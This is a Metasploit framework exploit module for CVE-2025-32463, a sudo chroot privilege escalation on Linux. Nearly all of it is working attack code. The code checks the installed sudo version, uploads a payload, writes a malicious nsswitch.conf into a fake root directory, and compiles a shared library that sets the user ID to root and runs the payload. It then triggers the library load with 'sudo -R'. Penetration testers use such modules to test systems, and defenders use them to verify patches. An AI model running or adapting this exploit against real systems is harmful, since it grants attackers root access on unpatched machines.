Sudo Chroot 1.9.17 Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::Packages
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation',
        'Description' => %q{
          Sudo before version 1.19.17p1 allows user to use `chroot` option, when
          executing command. The option is intended to run a command with
          user-selected root directory (if sudoers file allow it). Change in version
          1.9.14 allows resolving paths via `chroot` using user-specified root
          directory when sudoers is still evaluating.
          This allows the attacker to trick Sudo into loading arbitrary shared object,
          thus resulting in a privilege escalation.
        },
        'License' => MSF_LICENSE,

        'Author' => [
          'msutovsky-r7', # module dev
          'Stratascale', # poc dev
          'Rich Mirch' # security research
        ],
        'Platform' => [ 'linux' ],

        'Arch' => [ ARCH_CMD ],

        'SessionTypes' => [ 'shell', 'meterpreter' ],

        'Targets' => [[ 'Auto', {} ]],

        'Privileged' => true,

        'References' => [
          [ 'EDB', '52352' ],
          [ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'],
          [ 'CVE', '2025-32463']
        ],
        'DisclosureDate' => '2025-06-30',

        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    # force exploit is used to bypass the check command results
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
  end

  # borrowed from exploits/linux/local/sudo_baron_samedit.rb
  def get_version
    versions = {}
    output = cmd_exec('sudo --version')
    if output
      version = output.split("\n").first.split(' ').last
      versions[:sudo] = version if version =~ /^\d/
    end
    versions[:sudo].gsub(/p/, '.')
  end

  def check
    sudo_version = installed_package_version('sudo') || get_version

    return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank?

    return CheckCode::Safe('/etc/nsswitch.conf not found') if !file?('/etc/nsswitch.conf')

    return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17'))

    CheckCode::Safe("Sudo #{sudo_version} is not vulnerable")
  end

  def exploit
    # Check if we're already root
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
    end

    # needs to compile in real-time to adjust payload execution path
    fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile?

    payload_file = rand_text_alphanumeric(5..10)

    existing_shell = cmd_exec('echo $0 || echo ${SHELL}')

    return Failure::NotFound, 'Could not find shell' unless file?(existing_shell)

    upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}")

    register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}")

    temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"

    base_dir = rand_text_alphanumeric(5..10)

    lib_filename = rand_text_alphanumeric(5..10)

    mkdir(temp_dir)

    cd(temp_dir)

    mkdir(base_dir.to_s)

    mkdir("#{base_dir}/etc")

    mkdir('libnss_')

    return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n")

    return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group")

    exploit_code = %<
    #include <unistd.h>

    __attribute__((constructor))
    void exploit(void) {
      setreuid(0,0);
      execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL);

    }>

    upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")

    cmd_exec("sudo -R #{base_dir} #{base_dir}")

    timeout = 30
    print_status 'Launching exploit...'
    output = cmd_exec 'command', nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end
end